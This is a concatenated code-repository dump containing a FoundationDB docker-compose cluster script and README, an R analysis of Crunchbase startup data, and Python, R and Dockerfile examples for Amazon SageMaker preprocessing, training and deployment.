if (( "${HEALTH_CHECK_COUNT}" >= "${MAX_HEALTH_CHECKS}" )); then
log "fdb replication failed to initialize"
exit 3
fi
log "Waiting for fdb replication on ${CONTAINER_NAME}....."
sleep ${HEALTH_CHECK_DELAY}
verifyHealth ${NODE_NUMBER}
}
verifyContainerHealth() {
sleep 2
local REGEX='^[0-9]+$'
if ! [[ $1 =~ ${REGEX} ]]; then
log "verifyContainer() must be called with integers"
exit 4
fi
local NODE_NUMBER=$1
local CURRENT_DIRECTORY=${PWD##*/}
local CONTAINER_NAME=${CURRENT_DIRECTORY}_fdb_${NODE_NUMBER}
local CONTAINER_STATUS=$(docker ps -a --format '{{.Names}} {{.Status}}' | grep "${CONTAINER_NAME}" | awk '{print $2}')
local STATUS_REGEX='^Up'
if ! [[ "${CONTAINER_STATUS}" =~ ${STATUS_REGEX} ]]; then
log "Docker container failed: ${CONTAINER_STATUS}"
exit 5
fi
log "${CONTAINER_NAME} is running"
}
scaleCluster() {
local REGEX='^[0-9]+$'
if ! [[ $1 =~ ${REGEX} ]]; then
log "scaleCluster() must be called with an integer"
exit 2
fi
local NODES=$1
log "Scaling cluster to ${NODES} nodes"
docker-compose up -d --scale fdb=${NODES}
verifyHealth ${NODES}
verifyContainerHealth ${NODES}
}
setCoordinators() {
local REGEX='^[0-9]+$'
local NODES=$1
if ! [[ ${NODES} =~ ${REGEX} ]]; then
log "setCoordinators() must be called with an integer"
exit 2
fi
local COORDINATORS=""
for (( n=1; n<=$1; n++ )); do
local CONTAINER_NAME="docker_fdb_$n"
local IP_ADDRESS=$(docker inspect -f "{{ .NetworkSettings.Networks.docker_default.IPAddress }}" ${CONTAINER_NAME})
COORDINATORS="$COORDINATORS ${IP_ADDRESS}:4500"
done
log "Setting coordinators to: ${COORDINATORS}"
docker exec -it docker_fdb_1 sh -c "fdbcli --exec 'coordinators ${COORDINATORS}'"
HEALTH_CHECK_COUNT=0
verifyHealth ${NODES}
}
configureReplication() {
local REGEX='^[0-9]+$'
if ! [[ $1 =~ ${REGEX} ]]; then
log "configureReplication() must be called with an integer"
exit 2
fi
log "Setting replication to ${REDUNDANCY_MODE} ${STORAGE_ENGINE}"
docker-compose exec fdb fdbcli --exec "configure ${REDUNDANCY_MODE} ${STORAGE_ENGINE}"
HEALTH_CHECK_COUNT=0
verifyHealth 1
setCoordinators 3
}
startFirstNode() {
local CURRENT_DIRECTORY=${PWD##*/}
local CONTAINER_NAME="${CURRENT_DIRECTORY}_fdb_1"
local CONTAINER_EXISTS=$(docker ps -a --format '{{.Names}}' | grep "${CONTAINER_NAME}")
if [[ "$CONTAINER_EXISTS" == "$CONTAINER_NAME" ]]; then
log "First node already live"
verifyHealth 1
return
fi
log "Starting first node"
docker-compose up -d --build
verifyContainerHealth 1
log "Configuring database on ${CONTAINER_NAME}"
docker exec -it ${CONTAINER_NAME} sh -c 'fdbcli --exec "configure new single memory"'
verifyHealth 1
}
startCluster() {
log "Starting FoundationDB cluster via docker-compose"
log "Cluster details:"
log "-----------------------"
log "NODES: $DESIRED_NODE_COUNT"
log "REDUNDANCY: $REDUNDANCY_MODE"
log "STORAGE ENGINE: $STORAGE_ENGINE"
log "-----------------------"
startFirstNode
local SIZE=1
for (( n=1; n<${DESIRED_NODE_COUNT}; n++ )); do
HEALTH_CHECK_COUNT=0
let SIZE=${n}+1
scaleCluster ${SIZE}
done
if ! [[ "$REDUNDANCY_MODE" == "single" ]]; then
configureReplication ${DESIRED_NODE_COUNT}
return
fi
if ! [[ "$STORAGE_ENGINE" == "memory" ]]; then
if ! [[ "$REDUNDANCY_MODE" == "single" ]]; then
configureReplication ${DESIRED_NODE_COUNT}
fi
fi
}
stopCluster() {
docker-compose down
}
if [[ "$DESIRED_NODE_COUNT" == "" ]]; then
DESIRED_NODE_COUNT=${DEFAULT_NODE_COUNT}
fi
if [[ "$REDUNDANCY_MODE" == "" ]]; then
REDUNDANCY_MODE=${DEFAULT_REDUNDANCY_MODE}
fi
if [[ "$STORAGE_ENGINE" == "" ]]; then
STORAGE_ENGINE=${DEFAULT_STORAGE_ENGINE}
fi
if [[ "$COMMAND" == "up" ]]; then
startCluster
elif [[ "$COMMAND" == "down" ]]; then
stopCluster
elif [[ "$COMMAND" == "restart" ]]; then
stopCluster
startCluster
else
echo "Usage: ./fdb-cluster.sh <up|down|restart> <node_count> <redundancy_mode> <storage_engine>"
fi
<file_sep># docker
The following setup allows you to spin up a FoundationDB cluster on docker-compose.
The goal is to be able to connect from your host machine.
Connections work on a single node. Not currently working on multiple nodes.
See: [https://github.com/apple/foundationdb/issues/222](https://github.com/apple/foundationdb/issues/222)
## Single Node
To start a single node:
- `./fdb-cluster.sh up 1 single memory`
Restart:
- `./fdb-cluster.sh restart 1 single memory`
Stop the node:
- `./fdb-cluster.sh down`
## Operating the cluster
To start the cluster:
- `./fdb-cluster.sh up`
Restart the cluster:
- `./fdb-cluster.sh restart`
Stop the cluster:
- `./fdb-cluster.sh down`
NOTE: Right now foundationdb is running in memory so nothing is saved on restart.
TODO: Add volume mounts for data to save the DB data
## Connecting to the single node
Use this on the host machine as *fdb.cluster*: `fdb:fdb@127.0.0.1:4500`
## Connecting to the cluster
NOT WORKING from outside docker.
## General docker commands
to see what is running (or failed):
- `docker ps -a`
to get logs for a container:
- `docker logs -f <container_name>`
to enter a container:
- `docker exec -it <container_name> bash`
| 80311926deab87d1af0018fd88ca4e732f8157f8 | [
"Markdown",
"Shell"
] | 2 | Shell | dkoston/foundationdb-kubernetes | 422abd26adc7a11619750cb0626e020df7438f38 | d000accef45301426ce56c4dbceb1cfb67592bc5 |
refs/heads/master | <repo_name>heeeeee/Stats<file_sep>/FinalProject.R
###############################################
# Final Project
# Stat 701
#
# <NAME>, <NAME>, <NAME>
# 2015/05/02
###############################################
#######################################
#### Setup ############################
#######################################
## cleanup
rm(list=ls())
## install required libraries
#install.packages("maps")
#install.packages("tm")
#install.packages("stringr")
#install.packages("wordcloud")
#install.packages("lubridate")
#library(rpart)
#library(rpart.plot)
#library(randomForest)
library(maps)
library(tm)
library(lubridate)
library(wordcloud)
library(randomForest)
library(rpart)
library(rpart.plot)
#data.table
#plyr
## set working directory
dir=c("/Users/umekihitomi/Statistics/STAT701/FinalProject/data")
setwd(dir)
getwd()
## load file
data = read.csv("crunchbase_final.csv", sep=",", header=T, stringsAsFactors=T,na.strings="")
# check data
nrow(data)
names(data)
str(data)
#######################################
#### Summary Stats ####################
#######################################
# summary statistics
summary(data)
summary(data$country_code)
summary(data$region)
summary(data$market)
# check na data
#View(data[is.na(data$country),])
#######################################
#### Data Cleanup #####################
#######################################
# Note: Some cleanup and data merge was also performed with Excel
## data cleanup 0
# remove unnecessary column (webpage URL)
data$homepage_url <- NULL
data$category_list <- NULL
data$city <- NULL
data$founded_month<-NULL
# fix data types
str(data)
data$success=as.factor(data$success)
data$unique_id=as.character(data$unique_id)
data$name=as.character(data$name)
data$description=as.character(data$description)
data$funding_total_usd=as.numeric(data$funding_total_usd)
## data cleanup 1: Treating dates
data$first_funding_at=as.character(data$first_funding_at)
data$first_funding_at=as.Date(data$first_funding_at,"%m/%d/%y")
data$last_funding_at=as.character(data$last_funding_at)
data$last_funding_at=as.Date(data$last_funding_at,"%m/%d/%y")
first_funding_year<-as.numeric(format(data$first_funding_at, "%Y"))
last_funding_year<-as.numeric(format(data$last_funding_at, "%Y"))
data2 <-data.frame(data, first_funding_year, last_funding_year)
## data cleanup 2: Extract USA data only
# extract
working<-data2[(data2$country_code=="USA"),]
working<-working[!is.na(working$country_code=="USA"),]
# drop the other empty factors
working$country_code<-(droplevels(working$country_code))
str(working$country_code)
## data cleanup 3: remove the duplicates
#View(working[working$unique_id=="Bella Vita Consultants_San Diego",])
# remove duplication of rows because we want to predict per individual and not by cases
working<-working[!duplicated(working),]
dim(working)
## data cleanup 4: SF/NY/Bosoton/LA/Seattle/DC/others:
# region
summary(working)
summary(working$region)
working$region <-as.character(working$region)
working$region[!working$region=="SF Bay Area"&
!working$region=="New York City"&
!working$region=="Boston"&
!working$region=="Los Angeles"&
!working$region=="Seattle"&
!working$region=="Washington, D.C."&
!working$region=="Chicago"&
!working$region=="San Diego"]<- "others"
working$region <-as.factor(working$region)
summary(working)
## data cleanup 5: market
summary(working)
## data cleanup 6: eliminating NAs
summary(working)
#View(working[is.na(working[,"status"]),])
working<-working[!is.na(working[,"status"]),] # NAs
dim(working)
#View(working[is.na(working[,"first_funding_year"]),])
working<-working[!is.na(working[,"first_funding_year"]),] # NAs
dim(working)
# check
dim(working)
summary(working)
# save clean data
write.csv(working, file="Crunchbase_Clean.csv", row.names=F)
#######################################
#### Name Analysis ####################
#######################################
# Note: Some analysis was performed using Perl
# FUNCTION: createWdcloud
# arguments: list of text
#
createWdcloud<-function(text)
{
# cleanup
cleanedtext <- gsub("[^[:alnum:]///' ]", "", text)
# object
mycorpus <- VCorpus( VectorSource(cleanedtext) )
# remove stop words
mycorpus <- tm_map(mycorpus, removeWords, stopwords("english"))
# remove punctuation
mycorpus <- tm_map(mycorpus, removePunctuation)
# change to lower case
myCorpus <- tm_map(mycorpus, stemDocument,lazy=TRUE)
# change to lower case
mycorpus <- tm_map(mycorpus, content_transformer(tolower))
#inspect(mycorpus)
wordcloud(mycorpus,
scale=c(5,0.5),
max.words=100,
random.order=FALSE,
rot.per=0.35,
use.r.layout=FALSE,
colors=brewer.pal(8, "Dark2"))
}
# subset data into pass data and non pass data
passdata <- subset(working, success == 1)
nonpassdata <- subset(working, success == 0)
par(mfrow=c(1,2))
# plot word cloud for name
createWdcloud(passdata$name)
createWdcloud(nonpassdata$name)
# plot word cloud for description
createWdcloud(passdata$description)
createWdcloud(nonpassdata$description)
#######################################
#### Random Forest ####################
#######################################
samplesize = 2647*2/3 #(size of smaller category)
## adjust (tune a little) by changing the sample size
out1<-randomForest(success ~ region
# + market
# + founded_year
+ first_funding_year
+ status
+ funding_total_usd
+ funding_rounds
+ funding_rounds,
data=working,
sampsize=c(samplesize,samplesize),
importance=T)
out1
par(mfrow=c(1,1))
plot(out1, main="error rate vs number of trees") # 500 trees is enough
###############################################
### Varibale Important Plot ###################
###############################################
#help(varImpPlot)
par(mfrow=c(2,1))
varImpPlot(out1,type=1,class=1,scale=F,main="")
varImpPlot(out1,type=1,class=0,scale=F,main="")
###############################################
### Partial Dependence Plot ###################
###############################################
#help(partialPlot)
# FUNCTION: plotPartial
# arguments: variable
#
plotPartial<-function(text){
textQ<-quote(text)
pp<-partialPlot(out1,
pred.data=working,
x.var=sprintf("%", text),
which.class=1,
#xlab=variable,
ylab="Centered Logits",
#main=variable,
rug=T)
scatter.smooth(pp$x,pp$y,
xlab=textQ,
span=1/3,
ylab="Centered Logits",
#main=variable,
lpars=list(col="blue",lwd=3))
}
plotPartial(region)
pp_AP<-partialPlot(out2, pred.data=working, x.var="funding_total_usd", which.class=1, xlab="funding_total_usd", ylab="Centered Logits", main="funding_total_usd", rug=T)
| 9b04f137172a0d3c1590f2375b88500799b4a917 | [
"R"
] | 1 | R | heeeeee/Stats | 8d238f94a154214db080d7389316b38f036fa3f4 | 4e57b96b8dfabbe7219a83c678bcac4b19f22a45 |
refs/heads/main | <repo_name>amliuyong/Learn-Amazon-SageMaker-second-edition<file_sep>/Chapter 08/R_custom/Dockerfile
FROM r-base:latest
WORKDIR /opt/ml/
RUN apt-get update
RUN apt-get install -y libcurl4-openssl-dev libsodium-dev
RUN R -e "install.packages(c('rjson', 'plumber'))"
COPY main.R /opt/ml/
COPY train_function.R /opt/ml/
COPY serve_function.R /opt/ml/
ENTRYPOINT ["/usr/bin/Rscript", "/opt/ml/main.R", "--no-save"]<file_sep>/Chapter 08/sm_processing_custom/preprocessing-lda-ntm.py
import io, argparse, os, string, subprocess, sys, pickle, string
import boto3
import pandas as pd
import numpy as np
from scipy.sparse import lil_matrix
def process_text(text):
for p in string.punctuation:
text = text.replace(p, '')
text = ''.join([c for c in text if not c.isdigit()])
text = text.lower().split()
text = [w for w in text if not w in stop_words]
text = [wnl.lemmatize(w) for w in text]
return text
def add_row_to_matrix(line, row):
for token_id, token_count in row['tokens']:
token_matrix[line, token_id] = token_count
return
if __name__=='__main__':
import gensim
from gensim import corpora
import nltk
from nltk.corpus import stopwords
from nltk.stem import WordNetLemmatizer
stop_words = stopwords.words('english')
wnl = WordNetLemmatizer()
import sagemaker.amazon.common as smac
parser = argparse.ArgumentParser()
parser.add_argument('--filename', type=str)
parser.add_argument('--num-headlines', type=int, default=1000000)
args, _ = parser.parse_known_args()
print('Received arguments {}'.format(args))
filename = args.filename
num_headlines = args.num_headlines
data = pd.DataFrame()
# Load dataset into a pandas dataframe
input_data_path = os.path.join('/opt/ml/processing/input', filename)
print('Reading input data from {}'.format(input_data_path))
data = pd.read_csv(
input_data_path, compression='gzip',
error_bad_lines=False, dtype='str', nrows=num_headlines)
data.head()
#Shuffle and drop date column
data = data.sample(frac=1)
data = data.drop(['publish_date'], axis=1)
# Remove lines with missing values and duplicates
data.dropna(inplace=True)
data.drop_duplicates(inplace=True)
# Clean and tokenize
data['headline_text'] = data['headline_text'].apply(process_text)
# Build the vocabulary
dictionary = corpora.Dictionary(data['headline_text'])
dictionary.filter_extremes(keep_n=512)
print(dictionary)
# Convert each headline to a bag of words
data['tokens'] = data.apply(lambda row: dictionary.doc2bow(row['headline_text']), axis=1)
data = data.drop(['headline_text'], axis=1)
# Initialize the sparse matrix
num_lines = data.shape[0]
num_columns = len(dictionary)
token_matrix = lil_matrix((num_lines, num_columns)).astype('float32')
print('Filling word matrix, %d lines %d columns ' % (num_lines, num_columns))
# Fill the matrix with word frequencies
line = 0
for _, row in data.iterrows():
add_row_to_matrix(line, row)
line+=1 # Can't use indexes, as they may be larger than num_lines
# Write the matrix to protobuf
buf = io.BytesIO()
smac.write_spmatrix_to_sparse_tensor(buf, token_matrix, None)
buf.seek(0)
training_output_path = os.path.join('/opt/ml/processing/train/', 'training.protobuf')
print('Saving training data to {}'.format(training_output_path))
with open(training_output_path, 'wb') as f:
f.write(buf.getbuffer())
dictionary_output_path = os.path.join('/opt/ml/processing/train/', 'dictionary.pkl')
print('Saving dictionary to {}'.format(dictionary_output_path))
with open(dictionary_output_path, 'wb') as f:
pickle.dump(dictionary, f)
vocabulary_output_path = os.path.join('/opt/ml/processing/train/', 'vocab.txt')
with open(vocabulary_output_path, 'w') as f:
for index in range(0,len(dictionary)):
f.write(dictionary.get(index)+'\n')
<file_sep>/Chapter 08/R_custom/serve_function.R
#' @get /ping
function() {
return('')}
#' @param req The http request sent
#' @post /invocations
function(req) {
model <- readRDS('/opt/ml/model/model.rds')
conn <- textConnection(gsub('\\\\n', '\n', req$postBody))
data <- read.csv(conn)
close(conn)
print(data)
medv <- predict(model, data)
return(medv)
}<file_sep>/Chapter 09/ddp_dmp/tf/fmnist.py
import tensorflow as tf
import numpy as np
import argparse, os
from model import FMNISTModel
# SMDataParallel: initialization
import smdistributed.dataparallel.tensorflow as sdp
sdp.init()
gpus = tf.config.experimental.list_physical_devices('GPU')
for gpu in gpus:
tf.config.experimental.set_memory_growth(gpu, True)
if gpus:
tf.config.experimental.set_visible_devices(gpus[sdp.local_rank()], 'GPU')
print("TensorFlow version", tf.__version__)
# Process command-line arguments
parser = argparse.ArgumentParser()
parser.add_argument('--epochs', type=int, default=10)
parser.add_argument('--learning-rate', type=float, default=0.01)
parser.add_argument('--batch-size', type=int, default=128)
parser.add_argument('--gpu-count', type=int, default=os.environ['SM_NUM_GPUS'])
parser.add_argument('--model-dir', type=str, default=os.environ['SM_MODEL_DIR'])
parser.add_argument('--training', type=str, default=os.environ['SM_CHANNEL_TRAINING'])
parser.add_argument('--validation', type=str, default=os.environ['SM_CHANNEL_VALIDATION'])
args, _ = parser.parse_known_args()
epochs = args.epochs
lr = args.learning_rate*sdp.size()
batch_size = args.batch_size*sdp.size()
model_dir = args.model_dir
training_dir = args.training
validation_dir = args.validation
# Load data set
x_train = np.load(os.path.join(training_dir, 'training.npz'))['image']
y_train = np.load(os.path.join(training_dir, 'training.npz'))['label']
x_val = np.load(os.path.join(validation_dir, 'validation.npz'))['image']
y_val = np.load(os.path.join(validation_dir, 'validation.npz'))['label']
# Add extra dimension for channel: (28,28) --> (28, 28, 1)
x_train = x_train[..., tf.newaxis]
x_val = x_val[..., tf.newaxis]
# Prepare training and validation iterators
# - define batch size
# - normalize pixel values to [0,1]
# - one-hot encode labels
preprocess = lambda x, y: (tf.divide(tf.cast(x, tf.float32), 255.0), tf.reshape(tf.one_hot(y, 10), (-1, 10)))
train = tf.data.Dataset.from_tensor_slices((x_train, y_train)).batch(batch_size)
steps = len(train)//batch_size
train = train.map(preprocess)
train = train.repeat()
val = tf.data.Dataset.from_tensor_slices((x_val, y_val)).batch(batch_size)
val = val.map(preprocess)
val = val.repeat()
# Build model
model = FMNISTModel()
loss = tf.losses.CategoricalCrossentropy()
opt = tf.optimizers.Adam(lr)
sdp.broadcast_variables(model.variables, root_rank=0)
sdp.broadcast_variables(opt.variables(), root_rank=0)
@tf.function
def training_step(images, labels):
with tf.GradientTape() as tape:
probs = model(images, training=True)
loss_value = loss(labels, probs)
# SMDataParallel: Wrap tf.GradientTape with SMDataParallel's DistributedGradientTape
tape = sdp.DistributedGradientTape(tape)
grads = tape.gradient(loss_value, model.trainable_variables)
opt.apply_gradients(zip(grads, model.trainable_variables))
# SMDataParallel: average the loss across workers
loss_value = sdp.oob_allreduce(loss_value)
return loss_value
for e in range(epochs):
if sdp.rank() == 0:
print("Start epoch %d" % (e))
for batch, (images, labels) in enumerate(train.take(steps)):
loss_value = training_step(images, labels)
if batch % 10 == 0 and sdp.rank() == 0:
print("Step #%d\tLoss: %.6f" % (batch, loss_value))
# SMDataParallel: save model only on GPU 0
if sdp.rank() == 0:
model.save(os.path.join(model_dir, '1'))
<file_sep>/Chapter 07/huggingface/src/requirements.txt
transformers==4.4.2
<file_sep>/Chapter 08/pytorch_custom/karate_club_sagemaker.py
import numpy as np
import pickle, os, argparse, sys, subprocess
import torch
import torch.nn as nn
import torch.nn.functional as F
import dgl
from dgl.nn import GraphConv
class GCN(nn.Module):
def __init__(self, in_feats, h_feats, num_classes):
super(GCN, self).__init__()
self.conv1 = GraphConv(in_feats, h_feats)
self.conv2 = GraphConv(h_feats, num_classes)
def forward(self, g, in_feat):
h = self.conv1(g, in_feat)
h = F.relu(h)
h = self.conv2(g, h)
return h
def build_karate_club_graph(edges):
g = dgl.DGLGraph()
g.add_nodes(node_count)
src, dst = zip(*edges)
src = np.asarray(src).astype('int64')
dst = np.asarray(dst).astype('int64')
g.add_edges(torch.tensor(src), torch.tensor(dst))
# edges are directional in DGL; make them bidirectional
g.add_edges(torch.tensor(dst), torch.tensor(src))
return g
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument('--epochs', type=int, default=30)
parser.add_argument('--node_count', type=int)
args, _ = parser.parse_known_args()
epochs = args.epochs
node_count = args.node_count
training_dir = os.environ['SM_CHANNEL_TRAINING']
model_dir = os.environ['SM_MODEL_DIR']
# Load edges from pickle file
with open(os.path.join(training_dir, 'edge_list.pickle'), 'rb') as f:
edge_list = pickle.load(f)
print(edge_list)
G = build_karate_club_graph(edge_list)
print('We have %d nodes.' % G.number_of_nodes())
print('We have %d edges.' % G.number_of_edges())
# The first layer transforms input features of size of 34 to a hidden size of 5.
# The second layer transforms the hidden layer and produces output features of
# size 2, corresponding to the two groups of the karate club.
net = GCN(node_count, 5, 2)
inputs = torch.eye(node_count)
labeled_nodes = torch.tensor([0, node_count-1]) # only the instructor and the president nodes are labeled
labels = torch.tensor([0,1]) # their labels are different
optimizer = torch.optim.Adam(net.parameters(), lr=0.1)
all_preds = []
for epoch in range(epochs):
preds = net(G, inputs)
all_preds.append(preds)
# we only compute loss for labeled nodes
loss = F.cross_entropy(preds[labeled_nodes], labels)
optimizer.zero_grad() # PyTorch accumulates gradients by default
loss.backward()
optimizer.step()
print('Epoch %d | Loss: %.4f' % (epoch, loss.item()))
last_epoch = all_preds[epochs-1].detach().numpy()
predicted_class = np.argmax(last_epoch, axis=-1)
print(predicted_class)
torch.save(net.state_dict(), os.path.join(model_dir, 'karate_club.pt'))
<file_sep>/Chapter 07/dependencies/src/printmetrics.py
from sklearn.metrics import mean_squared_error, r2_score
def printmetrics(y_test, y_pred):
print('Mean squared error: %.2f' % mean_squared_error(y_test, y_pred))
print('Coefficient of determination: %.2f' % r2_score(y_test, y_pred))
<file_sep>/Chapter 11/endpoints/hugging_face/preprocessing.py
import argparse, subprocess, sys
def pip_install(package):
subprocess.call([sys.executable, "-m", "pip", "install", package])
pip_install("transformers>=4.4.2")
pip_install("datasets[s3]==1.5.0")
import transformers
import datasets
from transformers import AutoTokenizer
from datasets import load_dataset
if __name__=='__main__':
parser = argparse.ArgumentParser()
# preprocessing arguments
parser.add_argument('--threshold', type=int, default=4)
parser.add_argument('--s3-bucket', type=str)
parser.add_argument('--s3-prefix', type=str)
args, _ = parser.parse_known_args()
print('Received arguments {}'.format(args))
threshold = args.threshold
s3_bucket = args.s3_bucket
s3_prefix = args.s3_prefix
# Download dataset
train_dataset, valid_dataset, test_dataset = load_dataset('generated_reviews_enth', split=['train', 'validation', 'test'])
print(train_dataset.shape)
print(valid_dataset.shape)
print(test_dataset.shape)
# Replace star rating with 0-1 label
def map_stars_to_sentiment(row):
return {
'labels': 1 if row['review_star'] >= threshold else 0
}
train_dataset = train_dataset.map(map_stars_to_sentiment)
valid_dataset = valid_dataset.map(map_stars_to_sentiment)
# Drop and rename columns
train_dataset = train_dataset.flatten()
valid_dataset = valid_dataset.flatten()
train_dataset = train_dataset.remove_columns(['correct', 'translation.th', 'review_star'])
valid_dataset = valid_dataset.remove_columns(['correct', 'translation.th', 'review_star'])
train_dataset = train_dataset.rename_column('translation.en', 'text')
valid_dataset = valid_dataset.rename_column('translation.en', 'text')
# Tokenize data
tokenizer = AutoTokenizer.from_pretrained('distilbert-base-uncased')
def tokenize(batch):
return tokenizer(batch['text'], padding='max_length', truncation=True)
train_dataset = train_dataset.map(tokenize, batched=True, batch_size=len(train_dataset))
valid_dataset = valid_dataset.map(tokenize, batched=True, batch_size=len(valid_dataset))
# Drop the text variable, which we don't need anymore
train_dataset = train_dataset.remove_columns(['text'])
valid_dataset = valid_dataset.remove_columns(['text'])
# Upload data to S3
train_dataset.save_to_disk('/opt/ml/processing/output/training/')
valid_dataset.save_to_disk('/opt/ml/processing/output/validation/')
<file_sep>/Chapter 12/step_functions/lambda.py
import boto3, time
def lambda_handler(event, context):
print(event)
endpoint_name = event['EndpointArn'].split('/')[-1]
sm = boto3.client('sagemaker')
waiter = sm.get_waiter('endpoint_in_service')
waiter.wait(EndpointName=endpoint_name)
return {
'statusCode': 200,
'body': endpoint_name
}
<file_sep>/Chapter 08/mlflow/train-xgboost.py
import mlflow.xgboost
import xgboost as xgb
from load_dataset import load_dataset
if __name__ == '__main__':
mlflow.set_experiment('dm-xgboost')
with mlflow.start_run(run_name='dm-xgboost-basic') as run:
x_train, x_test, y_train, y_test = load_dataset('bank-additional/bank-additional-full.csv')
cls = xgb.XGBClassifier(objective='binary:logistic', eval_metric='auc')
cls.fit(x_train, y_train)
auc = cls.score(x_test, y_test)
print('AUC ', auc)
mlflow.log_metric('auc', auc)
mlflow.xgboost.log_model(cls, 'dm-xgboost-model')
mlflow.end_run()
<file_sep>/Chapter 02/smprocessing/preprocessing.py
import argparse
import os
import warnings
import pandas as pd
import numpy as np
from sklearn.model_selection import train_test_split
from sklearn.preprocessing import StandardScaler, OneHotEncoder
from sklearn.compose import make_column_transformer
from sklearn.exceptions import DataConversionWarning
warnings.filterwarnings(action='ignore', category=DataConversionWarning)
if __name__=='__main__':
parser = argparse.ArgumentParser()
parser.add_argument('--train-test-split-ratio', type=float, default=0.3)
args, _ = parser.parse_known_args()
print('Received arguments {}'.format(args))
split_ratio = args.train_test_split_ratio
# Load dataset into a pandas dataframe
input_data_path = os.path.join('/opt/ml/processing/input', 'bank-additional-full.csv')
print('Reading input data from {}'.format(input_data_path))
df = pd.read_csv(input_data_path)
# Remove lines with missing values and duplicates
df.dropna(inplace=True)
df.drop_duplicates(inplace=True)
# Count samples in the two classes
one_class = df[df['y']=='yes']
one_class_count = one_class.shape[0]
print("Positive samples: %d" % one_class_count)
zero_class = df[df['y']=='no']
zero_class_count = zero_class.shape[0]
print("Negative samples: %d" % zero_class_count)
zero_to_one_ratio = zero_class_count/one_class_count
print("Ratio: %.2f" % zero_to_one_ratio)
# Add a new column to flag customers who have never been contacted
df['no_previous_contact'] = np.where(df['pdays'] == 999, 1, 0)
# Add a new column to flag customers who don't have a full time job
df['not_working'] = np.where(np.in1d(df['job'], ['student', 'retired', 'unemployed']), 1, 0)
print('Splitting data into train and test sets with ratio {}'.format(split_ratio))
X_train, X_test, y_train, y_test = train_test_split(
df.drop('y', axis=1),
df['y'],
test_size=split_ratio, random_state=0)
preprocess = make_column_transformer(
(StandardScaler(), ['age', 'duration', 'campaign', 'pdays', 'previous']),
(OneHotEncoder(sparse=False), ['job', 'marital', 'education', 'default', 'housing', 'loan', 'contact', 'month', 'day_of_week', 'poutcome'])
)
print('Running preprocessing and feature engineering transformations')
train_features = preprocess.fit_transform(X_train)
test_features = preprocess.transform(X_test)
print('Train data shape after preprocessing: {}'.format(train_features.shape))
print('Test data shape after preprocessing: {}'.format(test_features.shape))
train_features_output_path = os.path.join('/opt/ml/processing/train', 'train_features.csv')
train_labels_output_path = os.path.join('/opt/ml/processing/train', 'train_labels.csv')
test_features_output_path = os.path.join('/opt/ml/processing/test', 'test_features.csv')
test_labels_output_path = os.path.join('/opt/ml/processing/test', 'test_labels.csv')
print('Saving training features to {}'.format(train_features_output_path))
pd.DataFrame(train_features).to_csv(train_features_output_path, header=False, index=False)
print('Saving test features to {}'.format(test_features_output_path))
pd.DataFrame(test_features).to_csv(test_features_output_path, header=False, index=False)
print('Saving training labels to {}'.format(train_labels_output_path))
y_train.to_csv(train_labels_output_path, header=False, index=False)
print('Saving test labels to {}'.format(test_labels_output_path))
y_test.to_csv(test_labels_output_path, header=False, index=False)<file_sep>/Chapter 12/cdk/app.py
import time
from aws_cdk import (
aws_sagemaker as sagemaker,
core
)
class SagemakerEndpoint(core.Stack):
def __init__(self, app: core.App, id: str, **kwargs) -> None:
timestamp = '-'+time.strftime("%Y-%m-%d-%H-%M-%S", time.gmtime())
super().__init__(app, id, **kwargs)
model = sagemaker.CfnModel(
scope=self,
id="my_model",
execution_role_arn=self.node.try_get_context("role_arn"),
containers=[
{"image": self.node.try_get_context("image"),
"modelDataUrl": self.node.try_get_context("model_data_url")}
],
model_name=self.node.try_get_context("model_name")+timestamp
)
epc = sagemaker.CfnEndpointConfig(
scope=self,
id="my_epc",
production_variants=[
{"modelName": model.model_name,
"variantName": "variant-1",
"initialVariantWeight": 1.0,
"initialInstanceCount": 2,
"instanceType": self.node.try_get_context("instance_type")}
],
endpoint_config_name=self.node.try_get_context("epc_name")+timestamp
)
epc.add_depends_on(model)
ep = sagemaker.CfnEndpoint(
scope=self,
id="my_ep",
endpoint_config_name=epc.endpoint_config_name,
endpoint_name=self.node.try_get_context("ep_name")+timestamp
)
ep.add_depends_on(epc)
app = core.App()
SagemakerEndpoint(app, "SagemakerEndpointEU", env={'region': 'eu-west-1'})
app.synth()
<file_sep>/Chapter 12/pipelines/querying.py
import boto3, argparse, subprocess, sys
import pandas as pd
import numpy as np
from sklearn.model_selection import train_test_split
def pip_install(package):
subprocess.call([sys.executable, "-m", "pip", "install", package])
pip_install('sagemaker')
import sagemaker
from sagemaker.feature_store.feature_group import FeatureGroup
if __name__=='__main__':
parser = argparse.ArgumentParser()
# preprocessing arguments
parser.add_argument('--region', type=str)
parser.add_argument('--bucket', type=str)
args, _ = parser.parse_known_args()
print('Received arguments {}'.format(args))
region = args.region
bucket = args.bucket
boto_session = boto3.Session(region_name=region)
sagemaker_client = boto_session.client(service_name='sagemaker')
featurestore_client = boto_session.client(service_name='sagemaker-featurestore-runtime')
session = sagemaker.session.Session(
boto_session=boto_session,
sagemaker_client=sagemaker_client,
sagemaker_featurestore_runtime_client=featurestore_client)
# Read feature group name
with open('/opt/ml/processing/input/feature_group_name.txt') as f:
feature_group_name = f.read()
feature_group = FeatureGroup(name=feature_group_name, sagemaker_session=session)
feature_group_query = feature_group.athena_query()
feature_group_table = feature_group_query.table_name
print(feature_group_table)
query_string = 'SELECT label,review_body FROM "' \
+ feature_group_table+'"' \
+ ' INNER JOIN (SELECT product_id FROM (SELECT product_id, avg(star_rating) as avg_rating, count(*) as review_count \
FROM "' + feature_group_table+'"' \
+ ' GROUP BY product_id) WHERE review_count > 1000) tmp ON "' \
+ feature_group_table+'"'+ '.product_id=tmp.product_id;'
print(query_string)
dataset = pd.DataFrame()
feature_group_query.run(
query_string=query_string,
output_location='s3://'+bucket+'/query_results/')
feature_group_query.wait()
dataset = feature_group_query.as_dataframe()
dataset.head()
training, validation = train_test_split(dataset, test_size=0.1)
print(training.shape)
print(validation.shape)
np.savetxt('/opt/ml/processing/output/training/training.txt', training.values, fmt='%s')
np.savetxt('/opt/ml/processing/output/validation/validation.txt', validation.values, fmt='%s')
print('Job complete')
<file_sep>/Chapter 07/tf/fmnist.py
import tensorflow as tf
import numpy as np
import argparse, os
from model import FMNISTModel
print("TensorFlow version", tf.__version__)
# Process command-line arguments
parser = argparse.ArgumentParser()
parser.add_argument('--epochs', type=int, default=10)
parser.add_argument('--learning-rate', type=float, default=0.01)
parser.add_argument('--batch-size', type=int, default=128)
parser.add_argument('--gpu-count', type=int, default=os.environ['SM_NUM_GPUS'])
parser.add_argument('--model-dir', type=str, default=os.environ['SM_MODEL_DIR'])
